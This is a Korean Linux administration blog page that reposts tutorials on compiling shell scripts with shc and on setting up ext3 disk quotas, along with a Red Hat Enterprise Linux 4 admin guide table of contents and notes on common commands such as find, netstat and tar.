RSS구독하기:SUBSCRIBE TO RSS FEED
즐겨찾기추가:ADD FAVORITE
글쓰기:POST
관리자:ADMINISTRATOR
'분류 전체보기'에 해당되는 글 379

안녕하세요."rootman.co.kr" 운영자입니다.

"shc" 는 스크립트 파일을 바이너리로 바꿔 주는 역할을 합니다. php encoder 같은 역할을 한다고 보면 됩니다.

예전엔 중요한 소스 같은 경우, php로 스크림트 파일 위치를 열어서 특정 디렉터리에 위치해 놓고 컴파일하여 사용했는데, "shc"를 사용하니 더욱 강력(?)하고 손 쉽게 인코딩하더군요.

역시 아는 것이 힘입니다.

쉘 스크립트도 역시 중요한 "root" 패스워드 정보, "DB" 정보 등 공유되거나 유출되면 안 되는 파일들이 존재합니다.

이럴 때 정말 유용하게 사용될 수 있으니, 아직까지 모르셨던 분들 아래 문서 참고하셔서 도움되시길 바랍니다.  좋은 날, 기쁜 날 되시길 빕니다.


-------------------------------------------------------
1. 다운로드  
-------------------------------------------------------
(1) 공식
   
http://www.datsi.fi.upm.es/~frosal/

(2) rootman 사이트
   
http://www.rootman.co.kr/NFS/Util/shc-3.8.3.tgz


-------------------------------------------------------
2. 설치
-------------------------------------------------------
 [root@ns1 local]# tar xvfz shc-3.8.3.tgz
 shc-3.8.3/CHANGES
 shc-3.8.3/Copying
 shc-3.8.3/Makefile
 shc-3.8.3/match
 shc-3.8.3/pru.sh
 shc-3.8.3/shc.1
 shc-3.8.3/shc.c
 shc-3.8.3/shc.html
 shc-3.8.3/shc.README
 shc-3.8.3/test.bash
 shc-3.8.3/test.csh
 
 [root@ns1 shc-3.8.3]# make install
 ***     Installing shc and shc.1 on /usr/local
 ***     ¿Do you want to continue? y
 install -c -s shc /usr/local/bin/
 install -c -m 644 shc.1 /usr/local/man/man1/


"shc" 파일은 /usr/local/bin/ 디렉터리에 설치됩니다.


-------------------------------------------------------
3. 테스트
-------------------------------------------------------
(1) 파일 생성 (__EOF___ 까지 쉘 상태에서 긁어다가 붙이시면 됩니다.)
cat > /root/tmp/script.sh    << __EOF__
#!/bin/sh
#------------------------------
# this file is not encrypted
#------------------------------
echo "I love Duane's articles and will send him a donation via PayPal."
exit 0;
__EOF__


(2) 명령행 실행
  [root@ns1 tmp]# shc /root/tmp/script.sh
  "script.sh.x"라는 바이너리 파일이 생성된다.


(3) 생성된 스크립트 수행
  [root@ns1 tmp]# ./script.sh.x
  I love Duane's articles and will send him a donation via PayPal.


-------------------------------------------------------
4. 특이한 기능
-------------------------------------------------------
[root@ns1 tmp]# shc -e 09/10/2004 -m "Dude it is too late to run this script." -f script.sh
[root@ns1 tmp]# ./script.sh.x
./script.sh.x: has expired!
Dude it is too late to run this script.

- 쉘 스크립트에 대한 만료일을 지정하여 실행할 수 있습니다.
- 지정된 날짜 이후는 실행되지 아니합니다.
- 위 예는 "2004년 10월 9일"을 스크립트 만료일로 지정하여 만료 후에는 "Dude it is too late to run this script."라는  메시지를 출력하라고 지정한 내용입니다.


-------------------------------------------------------
5. 참고사항
-------------------------------------------------------
- "shc" 명령어는 스크립트에 대한 C 소스 코드를 생성합니다.
- binary로 파일이 생성되므로 "./파일명" 형태로 실행하여야 합니다.
- 생성된 스크립트 파일은 이름을 변경해도 무관합니다.


-------------------------------------------------------
6. 기본 실행 옵션 설명
-------------------------------------------------------
(1) -e date
    만료일을 지정합니다. (dd/mm/yyyy format)

(2) -m message
    만기 시 메시지를 출력합니다.

(3) -f script_name
    컴파일할 스크립트 파일을 지정합니다.

출처 : rootman.co.kr

2006/09/08 13:41 2006/09/08 13:41
이 글에는 트랙백을 보낼 수 없습니다
Linux  2006/09/08 13:40
출처 블로그 > 상큼한자유
원본 http://blog.naver.com/innko/25139848
쿼터 3.x(레드헷 7.1 이상) 에서 확인한 방법임
설정한 환경 사항은
uname -a
Linux ns.my2pc.com 2.4.22-1.2174.nptlsmp #1 SMP Wed Feb 18 16:21:50 EST 2004 i686 i686 i386 GNU/Linux
레드헷 페도라 코어 1 버전임

쿼터 설정 그대로 따라 하면 됨 안되면 말고 -_-;

[root@ns home]# cat /var/log/dmesg | grep quota
VFS: Disk quotas vdquot_6.5.1

vi /etc/fstab
LABEL=/                 /                       ext3    defaults        1 1
LABEL=/boot             /boot                   ext3    defaults        1 2
none                    /dev/pts                devpts  gid=5,mode=620  0 0
LABEL=/home             /home                   ext3    defaults       1 2

대충 저리 비슷한 환경 이라고 보고
위에는 하드가 스카시라 저라고 나옴
ide 하드는 hda1 hda2 뭐 이런식으로 나옴
여튼 쿼터 걸 파티션 하나 잡음 난 home 에다 잡을라고 저렇게 했음
우선 home 을 쿼터를 걸려고 했으니 그 부분을 이렇게 수정함

LABEL=/home             /home                   ext3    defaults,usrquota        1 2

usrquota 가 추가되었음 ^^;

[root@ns home]# mount -o remount /home
[root@ns home]# mount
/dev/cciss/c0d0p5 on / type ext3 (rw)
none on /proc type proc (rw)
none on /dev/pts type devpts (rw,gid=5,mode=620)
/dev/cciss/c0d0p1 on /boot type ext3 (rw)
/dev/cciss/c0d0p7 on /home type ext3 (rw,usrquota)
none on /dev/shm type tmpfs (rw)
/dev/cciss/c0d0p3 on /usr type ext3 (rw)
/dev/cciss/c0d0p2 on /var type ext3 (rw)

mout 로 보면
/dev/cciss/c0d0p7 on /home type ext3 (rw,usrquota)
이렇게 되있음 쿼터 된거임~


quota.user 파일 생성
사용자의 쿼터 정보를 담고 있는 파일인 quota.user  이게 자동으로 생기면 좋은데 그렇지가 않으니까~ 다음 과 같은 명령을 실행함~

[root@ns home]# touch /home/quota.user
[root@ns home]# chmod 600 quota.user

[root@ns home]# convertquota -u /home/
위 명령어 쳤는데 에러 뜨면 리붓 하번 해주면 됨 안되면 말고
//만약 위 부분에서 재부팅을 해도 안된다면
[root@ns home]# quotacheck -avugm
이 부분을 먼저 실행 하고 # convertquota -u /home/ 해보자 그럼 이제 될것이다.

그리고 ls -al 로 해서 대충 보면
aquota.user 이란 파일 하나 더 생김~


[root@ns home]# quotacheck -avug  
quotacheck: Cannot remount filesystem mounted on /home read-only so counted values might not be right.
Please stop all programs writing to filesystem or use -m flag to force checking.
위처럼 에러 뜨면 밑에처럼 하면 됨 안되면 역시나 말고
[root@ns home]# quotacheck -avugm
quotacheck: Scanning /dev/cciss/c0d0p7 [/home] done
quotacheck: Checked 4124 directories and 40103 files

///////////////////////////////////////////////////////
root@rootman /root]# quotacheck -a
Quota for users is enabled on mountpoint /home so quotacheck might damage the file.
Please turn quotas off or use -f to force checking.

위와 같은 경고 메시지를 만나면 당황하지 말고 quota를 잠시 중단하고 quotacheck를 한 후 다시 가동하면 된다.

[root@rootman /root]# quotaoff -a
[root@rootman /root]# quotacheck -a
[root@rootman /root]# quotaon -a

///////////////////////////////////////////////////////


//중요
만약 자신의 하드가 다른 물리적 파티션이거나 또는 다른 곳에서 마운트를 해왔다면
쿼터 적용이 안될것이다...왜냐 당연히 쿼터에 인식이 안되어 있으니까
그 부분을 위해 다른 곳도 쿼터에서 알수 있게 활성화를 시켜줘야 한다.
즉 /home 을 활성화 시킨다고 하면
quotaon -vaug /home
라고 하면
quotaon: using /home/aquota.user on /dev/hdb1: 장치나 자원 활성화
라는 문구가 뜰것이다 만약 이미 활성화가 되었다면
quotaon: using /home/aquota.user on /dev/hdb1: 장치나 자원이 동작 중
이런식의 문구가 뜰것이다.^^;
이 부분이 제대로 되어 있지않으면 사용자 정보가 제대로 반영이 안된다.
고로 아무리 쿼터를 적용해되 적용이 안되는 불상사가 생겨 버림


계정 용량 할당 하기

[root@ns home]# edquota bresting

Disk quotas for user bresting (uid 510):
Filesystem                   blocks       soft       hard     inodes     soft     hard
/dev/cciss/c0d0p7           3126776          0          0        598        0        0

그러면 저런 화면이 뜸

block(soft = 0, hard=0)
block 은 지금 사용하고 있는 총 용량
soft 는 용량의 제한을 둬서 그걸 넘으면 에러 메세지를 보냄
hard 는 그 용량 되면 더이상 못씀
inodes (soft =0,    hard=0)
이건 파일 게수를 뜻한 역시나 위와 같음

예를 들자면

Disk quotas for user bresting (uid 510):
Filesystem                   blocks       soft       hard     inodes     soft     hard
/dev/cciss/c0d0p7           50         51200          56320        10       1500     1550

50 메가 넘으면 경고 메세지 보냄
55 메가 넘으면 더이상 못씀
1500 게 파일 넘으면 경고 메세지
1550 게 파일 넘으면 더이상 못씀


유예 기간
[root@ns home]# edquota -t
Grace period before enforcing soft limits for users:
Time units may be: days, hours, minutes, or seconds
Filesystem             Block grace period     Inode grace period
/dev/cciss/c0d0p7                  7days                  7days


쿼터 설정 상태

[root@ns home]# repquota -a
*** Report for user quotas on device /dev/cciss/c0d0p7
Block grace time: 7days; Inode grace time: 7days
                       Block limits                File limits
User            used    soft    hard  grace    used  soft  hard  grace
----------------------------------------------------------------------
root      --    1216       0       0            141     0     0      
nobody    --   37960       0       0            825     0     0      
vpopmail  --    1688       0       0            181     0     0      
bresting  -- 3126776       0       0            598     0     0      
fellen    -- 26592228       0       0           1150     0     0      
mysql     --      20       0       0              5     0     0      
photo     --      24       0       0              6     0     0      
my2pc     --  332756       0       0           2394     0     0      
kang0927  -- 1410648       0       0           2713     0     0      
down      -- 6820940       0       0           1632     0     0      
jhs1013   -- 2646524       0       0           1644     0     0      
infoftp   -- 9556676       0       0           1213     0     0      
bibichu   -- 4675392       0       0           4668     0     0      
moriya    -- 9892968 9900000 9950000          13858     0     0      
heyworld  --      24       0       0              6     0     0      
heyoh     -- 8223824       0       0             75     0     0      
issey     -- 2285488       0       0          10063     0     0      
hayan     -- 1176884       0       0           1903     0     0      
club      --    5672       0       0            748     0     0      



쿼터 설정을 다른 사용자와 동일하게 설정 하기

edquota -p bresting bresting1 bresting2
bresting 의 환경을 bresting1 bresting2 에게 같이 적용

다중 사용자의 쿼터 적용
edquota -p bresting `awk -F: '$3 > 500 {print $1}' /etc/passwd`
awk 앞에는 숫자1 옆의 ` 그다음은 엔터 옆 ' ' passwd 는 숫자1 `




crontab -e
0 3 * * 0 /sbin/quotacheck -avugm
===============================================================================================



아래는 linux.co.kr 의 테마리눅스 중 Quota 사용하기 입니다.

쿼터를 설정하면 질문하신 것이 다 해결됩니다.

0. quota 가동 준비사항.

quota를 가동하기 위해서는 커널 컴파일시에 다음과 같은 커널 옵션에

체크되어야 된다.

File systems ---> [ * ] Quota support

(/boot/config-......)→CONFIG_QUOTA=y

1. /etc/fstab 수정하기


quota를 설정하기 위해서 가장 먼저해야될 일은 /etc/fstab 파일을 수정하는 것이다.

독립 파티션으로 만들어진 /home 디렉토리에 쿼터를 적용해 볼 것이기 때문에

LABEL=/home 부분의 설정에 사용자 쿼터 설정 부분을 옵션에 추가해 주면 된다.

추가해줄 위치는 defaults뒤에 컴마( , )로 구분해서 'usrquota'(사용자쿼터)를

추가하자. 그룹쿼터를 적용하기 위해서는 'grpquota'를 설정해 주면 된다.

2. quota.user 파일 만들기와 aquota.user(커널 2.4.x)로 변환하기.

커널 2.4.x를 사용하는 시스템에서 quota를 사용하기 위해서는 quota가 적용될

파티션의 최상위 디렉토리에 quota.user파일을 만들고, quota.user 파일을

aquota.user 파일로 변환해 주는 작업을 한번 더 거쳐야 된다.

작업 과정은 다음 그림과 같다.


먼저 touch 명령으로 quota.user 라는 빈 파일을 하나 만들고 퍼미션을 600으로

설정한 후 quota.user파일이 생성되었다.

그다음 커널 2.4.x 시스템을 위해 convertquota로 quota.user 파일을 aquota.user

파일로 변환했다.

aquota.user(quota.user)파일은 user들의 쿼터 설정들을 저장하고 있는 파일이다.

quota 사용을 위해 /etc/fstab 파일에 설정해 준 형식으로 /home 파티션을 마운트

해야 되기 때문에 위 과정을 모두 마쳤으면 시스템을 리부팅을 하자.

3. 리부팅 후 /home 파일 시스템 확인하기.


부팅 과정에서 quota를 사용할 수 있는 파일 시스템으로 마운트 하고 quotaon을

실행하기 때문에 부팅 후 'quotaon' 명령을 따로 해 줄 필요가 없다.

부팅 과정중에 어떻게 quotaon이 실행되는지 확인해 보고 싶으신 분은

/etc/rc.local/rc.sysinit 파일을 살펴보시길..

mount 명령으로 /home 파티션의 마운트 정보를 확인했을 때 위와 같이

(rw,usrquota)로 설정되어 있으면 제대로 설정 된 것이다.

4. quotacheck 명령으로 현재 user별 /home 파티션 사용량 체크하기

  • quotacheck 옵션
    -vverbose의 의미로, 체크 도중 여러가지 유용한 정보를 제공한다
    -u특정 UID(User ID)가 사용하는 파일과 디렉토리를 카운트하게한다
    -g특정 GID(Group ID)가 사용하는 파일과 디렉토리를 카운트하게한다
    -a/etc/fstab 파일에 usrquota 옵션이 포함된 파일 시스템을 모두 체크한다


    다음 그림은 'quotacheck -a' 명령후 'repquota -a' 명령으로 현재 쿼터 정보를
  • 출력한 화면이다.

  • 현재 quota가 가동중일 때 quotacheck 명령을 하면 다음과 같은 경고 메시지를

    보게 될 것이다.


    root@rootman /root]# quotacheck -a
    Quota for users is enabled on mountpoint /home so quotacheck might damage the file.
    Please turn quotas off or use -f to force checking.


    위와 같은 경고 메시지를 만나면 당황하지 말고 quota를 잠시 중단하고 quotacheck를 한 후 다시 가동하면 된다.


    [root@rootman /root]# quotaoff -a
    [root@rootman /root]# quotacheck -a
    [root@rootman /root]# quotaon -a



    위 그림은 Block(용량)에 대한 유효기간과, Inode(파일수)에 대한 유효기간이

    default 값인 7일로 설정되어 있고 아직 user들의 사용량을 제한하지 않았기

    때문에 soft, hard 값들은 0으로 표시되어 있다.

    5. edquota 명령으로 Block(용량)과 Inode(파일수)를 제한하기

    ::edquota 명령의 옵션

    -u사용자의 쿼터를 편집하는 옵션으로 기본값이다.
    -p여러 사람의 쿼터를 설정할 때 -p 옵션뒤에 사용자 ID를 쭉~ 적어주면 ID 제일 앞에 있는 ID와 동일하게 쿼터가 적용된다.
    (예: edquota -p yyc rootman yunil --> 사용자 rootman, yunil은 yyc의 쿼터 설정이 그대로 적용된다)
    -g그룹의 쿼터를 편집하는 옵션으로, quota.group 파일이 필요하다.
    -t각 파일 시스템에 대한 유예기간을 설정하기 위한 옵션이다.


    사용자의 쿼터를 편집하기 위해서는 '-u' 옵션을 그룹의 쿼터를 편집하기 위해서는 '-g' 옵션을 사용하면 된다.

    아래 그림은 사용자 yyc 의 쿼터를 편집하기 위한 화면이다.

    [root@rootman root]# edquota -u yyc


    첫줄은 쿼터 편집의 대상에 대한 정보이고 두 번째 줄은 쿼터가 적용될 디바이스의 정보이다.

    셋째줄은 사용자 yyc 소유의 파일의 총 size에 대한 정보와 제한할 용량의 soft와

    hard값이 설정되어 있다.

    넷쨰줄은 사용자 yyc 소유의 inode(파일수)에 대한 정보와 제한할 inode(파일수)의 soft와 hard값이 설정되어 있다.

    **참고 : inode는 디렉토리수와 파일수를 합친 값이 적용된다. 사실 디렉토리도 파일이니까..

    soft : 실제적인 제한량이다. 단, 유예기간이 설정되어 있을 경우 유예기간동안은 soft 값을 초과할 수 있다.

    hard : quota 제한량의 절대적인 수치이다. 어떠한 경우라도 hard 값을 초과할 수는 없고 유예기간동안이라도 hard값은 초과할 수 없다.

    위 설정 내용은 사용자 yyc가 사용할 수 있는 총 사용량이 200000(KB)이고 유예기간 동안에는 250000(KB)까지 사용할 수 있다는 설정이다.

    만약 유예기간이 지나서도 soft값을 초과하고 있을 시에는 hard 값에 상관없이 soft 값을 초과할 수 없다.

    즉 soft 값 이하로 파일들을 정리하지 않을 경우에는 절대 새로운 파일을 생성할 수 없다.

    6. edquota -t (유예기간 설정하기)

    quota 에서의 유예기간이란 사용자가 quota 설정의 soft 값을 초과 하더라도 일정 기간동안 파일을 정리할 시간을 주는 의도로 사용된다.

    설정된 soft 값을 초과했을 때부터 유예기간이 카운트 다운되는데 이 기간동안은 hard 값을 초과하지 않는 범위에서 얼마든지 파일을 생성할 수 있다. 하지만 유예기간이 지나게 되면 사용자는 hard 값에 상관없이 soft 값을 초과할 수 없고 soft값 이하로 파일을 정리할 때까지 새로운 파일을 생성할 수 없다.

    아래 그림은 Block(용량)에 대해 3일, inode(파일수)에 대해 3일의 유예기간을 설정한 화면이다.


    유예기간 역시 block(총용량) inode(총파일수)에 대해서 설정할 수 있으며 설정되는

    기간의 단위는 아래와 같다.


    sec(onds) : 유예기간을 초(seconds) 단위로 설정한다.
    min(utes) : 유예기간을 분(minutes) 단위로 설정한다.
    hour(s) : 유예기간을 시(hours) 단위로 설정한다.
    day(s) : 유예기간을 일(days) 단위로 설정한다.



    block(용량)과 inode(파일수)에 대한 유예기간 설정은 각각

    'Block grace:', Inode grace:' 뒤에 한칸 뛰우고 유예기간을 설정하면 된다.


    주의

    원래는 quota의 단위 설정은 숫자와 기간단위 사이에 빈공간(스페이스)를 주어서 설정하는데 redhat 7.1 계열에 패키징 된 quota 유틸들 중에는 숫자와 유예기간 단위를 붙여서 적어줘야 올바르게 저장 되는 경우가 있다.

    예 : 3 days --> 3days


    다음은 soft 값을 초과한 사용자를 'repquota -a' 명령으로 확인하는 화면이다.


    위의 그림은 사용자 abc 가 quota 사용량 soft 값을 초과해서 유예기간(grace)가

    카운트 다운 되고 있는 모습이다.

    참고
    grace 부분은 유예기간을 설정 했더라도 사용자가 soft 값을 넘어가기 전에는 표시

    되지 않는다.
    사용자가 soft 값을 초과하면 그때부터 'edquota -t' 의 설정대로 카운트다운이 되는 것이다

    사용자가 soft 값을 초과 했을 때 보여지는 사용자에게 보여지는 메시지


    경고 메시지는 나타나지만 hard 값을 초과하지 않았다면 파일은 생성된다.

    chmod 600 /web/quota.user
    convertquota -u /web
    mount
    cat /etc/fstab
    mount
    mount -o /dev/hda2
    mount -o remount /dev/hda2
    cd /web/
    quotacheck -m /web
    rpm -qa quota
    mount
    pstree
    /usr/local/apache/bin/apachectl stop
    vi /etc/fstab
    dmesg
    umount /dev/hda2
    pstree
    mount -o remount /web
    dmesg
    mount -o remount /dev/hda2
    quotacheck -m /web
    mount -o remount /web
    quotacheck -m /web
    dmesg
    uname -a
    vi /etc/fstab
    mount
    mount -o remount /dev/hda2
    quotacheck -m /dev/hda2
    quotacheck -m /web
    mount
    rm -rf quota.user
    ll
    mount
    quotacheck -m /web
    touch quota.user
    quotacheck -m /web
    ll
    touch aquota.user
    quotacheck -m /web
    quotaon -a
    rm -rf quota.user
    quotacheck -m /web
    touch quota.user
    quotacheck -m /web
    touch aquota.user
    quotacheck -m /web
    quotaon -a
    2006/09/08 13:40 2006/09/08 13:40
    이 글에는 트랙백을 보낼 수 없습니다
    from.Pumpkin carving supplies  2023/12/04 03:25
    상상플러스 :: Quota설정 ext3
    출처 블로그 > 겨울타는소년
    원본 http://blog.naver.com/inseokhwang/150005390240

    Red Hat Enterprise Linux 4

    시스템 관리 안내서

    ISBN: N/A
    차례
    머리글
    1. 아키텍쳐 관련 정보
    2. 문서 약정
    3. 레드햇 네트워크에 구입하신 제품을 등록하십시오
    3.1. Red Hat 로그인 아이디 입력하기
    3.2. 등록 번호를 입력하십시오
    3.3. 귀사의 시스템을 연결하십시오
    4. 앞으로 추가될 사항
    4.1. 여러분의 의견을 기다리고 있습니다
    1장. 시스템 관리의 기본 철학
    1.1. 모든 것을 자동화하기
    1.2. 모든 것을 기록하기
    1.3. 최대한의 의사 소통을 나누기
    1.3.1. 사용자에게 앞으로 어떠한 작업을 수행할 것인지 알리기
    1.3.2. 사용자에게 현재 어떠한 작업을 수행 중인지 알리기
    1.3.3. 사용자에게 지금까지 어떠한 작업을 수행했는지 알리기
    1.4. 가능한 많은 자원을 활용하기
    1.5. 사용자 파악하기
    1.6. 비지니스 환경 이해하기
    1.7. 보안을 마지막 보루로 여기지 말것
    1.7.1. 사회 공학적(Social engineering) 칩입 수법
    1.8. 앞서 계획하기
    1.9. 예상치 못한 사건을 미리 예측하기
    1.10. Red Hat Enterprise Linux-관련 정보
    1.10.1. 자동화
    1.10.2. 문서화 및 통신에 사용되는 도구
    1.10.3. 보안
    1.11. 추가 자료
    1.11.1. 설치된 문서 자료
    1.11.2. 유용한 웹사이트
    1.11.3. 관련 서적
    2장. 자원 모니터링
    2.1. 기본 개념
    2.2. 시스템 성능 모니터링
    2.3. 시스템 용량 모니터링
    2.4. 무엇을 모니터링할것인가?
    2.4.1. CPU 파워 모니터링
    2.4.2. 대역폭 모니터링
    2.4.3. 메모리 모니터링
    2.4.4. 스토리지 모니터링
    2.5. Red Hat Enterprise Linux 관련 정보
    2.5.1. free
    2.5.2. top
    2.5.3. vmstat
    2.5.4. Sysstat 자원 감시 도구 모음
    2.5.5. OProfile
    2.6. 추가 자료
    2.6.1. 설치된 문서 자료
    2.6.2. 유용한 웹사이트
    2.6.3. 관련 서적
    3장. 대역폭과 처리 능력
    3.1. 대역폭
    3.1.1. 버스(Buses)
    3.1.2. 데이터 경로(Datapaths)
    3.1.3. 발생 가능한 대역폭 관련 문제점들
    3.1.4. 대역폭 관련 문제가 발생시 해결책
    3.1.5. 지금까지 설명한 내용을 요약하자면:
    3.2. 처리 능력
    3.2.1. 처리 능력 관련 정보
    3.2.2. 처리 능력 소비자
    3.2.3. CPU 용량이 부족할 경우 해결책
    3.3. Red Hat Enterprise Linux 관련 정보
    3.3.1. Red Hat Enterprise Linux에서 대역폭 감시하기
    3.3.2. Red Hat Enterprise Linux에서 CPU 사용량 모니터링 방법
    3.4. 추가 자료
    3.4.1. 설치된 문서 자료
    3.4.2. 유용한 웹사이트
    3.4.3. 관련 서적
    4장. 실제 메모리와 가상 메모리
    4.1. 스토리지 접근 유형
    4.2. 다양한 스토리지 유형
    4.2.1. CPU 레지스터
    4.2.2. 캐시 메모리
    4.2.3. 주메모리 — RAM
    4.2.4. 하드 드라이브
    4.2.5. 오프라인 백업 스토리지
    4.3. 기본 가상 메모리 개념
    4.3.1. 가상 메모리란?
    4.3.2. 보조 기억장치 — 가상 메모리의 중심
    4.4. 가상 메모리: 상세 정보
    4.4.1. Page Faults
    4.4.2. 작업 세트(Working Set)
    4.4.3. 스와핑
    4.5. 가상 메모리 성능 관련 정보
    4.5.1. 최악의 성능 시나리오
    4.5.2. 최고 성능 시나리오
    4.6. Red Hat Enterprise Linux 관련 정보
    4.7. 추가 자료
    4.7.1. 설치된 문서 자료
    4.7.2. 유용한 웹사이트
    4.7.3. 관련 서적
    5장. 스토리지 관리
    5.1. 스토리지 하드웨어 개요
    5.1.1. 디스크 원판
    5.1.2. 데이터 판독/기록 장치
    5.1.3. 액세스 암
    5.2. 스토리지 주소 지정 방식
    5.2.1. 구조 정보(geometry) 기반 주소 지정 방식
    5.2.2. 블록 기반 주소 지정 방식
    5.3. 대용량 기억 장치 인터페이스
    5.3.1. 인터페이스 발전 역사
    5.3.2. 최신 산업체 표준 인터페이스
    5.4. 하드 드라이브 성능 특성
    5.4.1. 기계적/전기적 한계
    5.4.2. 입출력 작업 부하가 성능에 미치는 영향
    5.5. 스토리지 사용 준비
    5.5.1. 파티션
    5.5.2. 파일 시스템
    5.5.3. 디렉토리 구조
    5.5.4. 스토리지 액세스 활성화하기
    5.6. 고급 스토리지 기술
    5.6.1. 네트워크 액세스 가능한 스토리지
    5.6.2. RAID 기반 스토리지
    5.6.3. 논리 볼륨 관리 (LVM)
    5.7. 스토리지 관리
    5.7.1. 여유 공간 모니터링
    5.7.2. 디스크 쿼터 관련 사항
    5.7.3. 파일 관련 문제
    5.7.4. 스토리지 추가/제거하기
    5.8. 백업 관련 정보…
    5.9. Red Hat Enterprise Linux 관련 정보
    5.9.1. 장치 이름 지정법
    5.9.2. 파일 시스템에 대한 기본적인 정보
    5.9.3. 파일 시스템 마운트하기
    5.9.4. Red Hat Enterprise Linux에서 네트워크 액세스 가능한 스토리지
    5.9.5. /etc/fstab 파일을 이용하여 파일 시스템을 자동으로 마운트하기
    5.9.6. 스토리지 추가/제거하기
    5.9.7. 디스크 쿼터 구현 방법
    5.9.8. RAID 어레이 생성 방법
    5.9.9. RAID 어레이 관리
    5.9.10. 논리 볼륨 관리 (LVM)
    5.10. 추가 자료
    5.10.1. 설치된 문서 자료
    5.10.2. 유용한 웹사이트
    5.10.3. 관련 서적
    6장. 사용자 계정 및 자원 액세스 관리
    6.1. 사용자 그룹 관리
    6.1.1. 사용자명
    6.1.2. 암호
    6.1.3. 액세스 제어 정보
    6.1.4. 계정 및 자원 액세스 관리
    6.2. 사용자 자원 관리
    6.2.1. 공유 데이터에 액세스할 수 있는 사용자는 누구인가?
    6.2.2. 사용자가 공유 데이터를 액세스할 장소
    6.2.3. 자원이 악용되는 것을 방지하기 위한 보안책 강구
    6.3. Red Hat Enterprise Linux 관련 정보
    6.3.1. 사용자 계정, 그룹 및 사용 권한
    6.3.2. 사용자 계정 및 그룹을 관리하는 파일
    6.3.3. 사용자 계정 및 그룹 관리 프로그램
    6.4. 추가 자료
    6.4.1. 설치된 문서 자료
    6.4.2. 유용한 웹사이트
    6.4.3. 관련 서적
    7장. 프린터 및 인쇄 정보
    7.1. 프린터 유형
    7.1.1. 인쇄 관련 고려 사항
    7.2. 충격식 프린터(Impact printer)
    7.2.1. 도트 매트릭스(dot-matrix) 프린터
    7.2.2. 데이지 휠(daisy-wheel) 프린터
    7.2.3. 라인(Line) 프린터
    7.2.4. 충격식 프린터 소모품
    7.3. 잉크젯 프린터
    7.3.1. 잉크젯 소모품
    7.4. 레이저 프린터
    7.4.1. 칼라 레이저 프린터
    7.4.2. 레이저 프린터 소모품
    7.5. 기타 프린터 유형
    7.6. 인쇄 언어 및 기술
    7.7. 네트워크 프린터 대 로컬 프린터
    7.8. Red Hat Enterprise Linux-관련 정보
    7.9. 추가 자료
    7.9.1. 설치된 문서 자료
    7.9.2. 유용한 웹사이트
    7.9.3. 관련 서적
    8장. 재난 방지 계획 세우기
    8.1. 재난 유형
    8.1.1. 하드웨어 고장
    8.1.2. 소프트웨어 고장
    8.1.3. 환경적 요인
    8.1.4. 사람의 실수
    8.2. 백업
    8.2.1. 다른 데이터; 다른 백업 요건
    8.2.2. 백업 소프트웨어: 구입할 것인가 스스로 개발할것인가
    8.2.3. 백업 유형
    8.2.4. 백업 매체
    8.2.5. 백업 자료 보관하기
    8.2.6. 복구 관련 사항
    8.3. 재난 복구 작업
    8.3.1. 재난 복구 계획을 세우고, 테스팅한 후 구현하기
    8.3.2. 백업 사이트 유형: Cold, Warm, Hot
    8.3.3. 사용 가능한 하드웨어와 소프트웨어 준비 과정
    8.3.4. 사용 가능한 백업 준비
    8.3.5. 백업 사이트로 네트워크 연결 가능 여부
    8.3.6. 백업 사이트로 인재 파견
    8.3.7. 정상적인 작업으로 돌아가는 절차
    8.4. Red Hat Enterprise Linux 관련 정보
    8.4.1. 소프트웨어 지원
    8.4.2. 백업 기술
    8.5. 추가 자료
    8.5.1. 설치된 문서 자료
    8.5.2. 유용한 웹사이트
    8.5.3. 관련 서적
    색인
    판권

    출처 : http://www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/ko/admin-guide/index.html

    2006/09/08 13:39 2006/09/08 13:39
    이 글에는 트랙백을 보낼 수 없습니다
    출처 블로그 > It is a time to run!!!
    원본 http://blog.naver.com/johnrivelt/100026234069
    [ Linux 명령어 ]

    ◈ find  : 파일,폴더 찾기 명령어 ==================
    [root@www /]# find / -name mpayd
    /usr/local/INIpay/src/mpayd
    /usr/local/INIpay/bin/mpayd
    옵션 :  -perm   권한과 일치하는 파일을 찾는다.
      ex) find / -perm 4755
     -name   이름과 일치하는 파일을 찾는다.
      ex) find / -name cat
     -user   유져와 일치하는 파일을 찾는다.
      ex) find / -user mmung2
     -group  그룹과 일치하는 파일을 찾는다.
      ex) find / -group guta

    ◈ man ==================================
    맨페이지 내용을 직접 TEXT편집기로 열어 보면 이상한 문자가 중간에 삽입되어
    TEXT파일로 읽기가 어렵지요. 다음과 같이 저장하면 맨페이지 내용을 TEXT파일로
    간단하게 관리할 수 있습니다.
    /home/aaa/man-printcap.txt 파일에 printcap 맨페이지가 저장됩니다.
    #man printcap | col -b > ~aaa/man-printcap.txt

    ◈ mail ========================================================
    [root@XXX /home]mail ganghs@hanmail.net
    Subject: hi test again
    hello?
    it's test
    한글테스트
    see you
    .
    Cc: ganghosu@netian.com

    ◈ netstat==================================
      ** netstat  : Netstat는 Windows MS-DOS명령어로서 네트워크 포트(TCP,UDP)상태를 확인함으로써 바이러스나 해킹여부를 진단할 수 있다.
     - . 명령어 : netstat [-a] [-e] [-n] [-s] [-r] [-p proto] [interval]
     - . Active Connections Display State표시 내용
     State                         내       용
      LISTEN       서버의 데몬이 떠서 접속 요청을 기다리는 상태.
      SYS-SENT    로컬의 클라이언트 어플리케이션이 원격 호스트에 연결을 요청한 상태
      SYN_RECEIVED 서버가 원격 클라이언트로부터 접속 요구를 받아 클라이언트에게 응답을 하였지만 아직 클라이언트에게 확인 메시지는 받지 않은 상태.
      ESTABLISHED   3 Way-Handshaking 이 완료된 후 서로 연결된 상태
      FIN-WAIT1      CLOSE-WAITFIN-WAIT2 버에서 연결을 종료하기 위해 클라이언트에게 종결을 요청하고 회신을 받아 종료하는 과정의 상태.
      CLOSING   흔하지 않지만 주로 확인 메시지가 전송도중 분실된 상태
      TIME-WAIT  연결은 종료되었지만 분실되었을지 모를 느린 세그먼트를 위해 당분간 소켓을 열어놓은 상태.
      CLOSED     완전히 종료.
       122  netstat -antlp
       123  netstat -antlp | grep 3306
       124  netstat -antlp | grep mysql

    ◈ ntsysv : 기본 데몬 들어가기 ==================
     
    ◈ setup : 서비스 설정 들어가기 ==================
    ◈ tar=========================================================
      - . 옵션
       c - Create  : 새로운 파일을 만드는 옵션.
       x - eXtract : 압축을 해제시키는 옵션.
       v - View    : 압축이 되거나 풀리는 과정을 출력하는 옵션.
       f - File    : 파일로서 백업을 하겠다는 옵션.
      - . 확장장 tar
     *  tar 프로그램을 사용하여 압축된 파일로서,사실 압축이 아닌 여러 파일들이 하나로 뭉쳐져 있는 파일입니다.
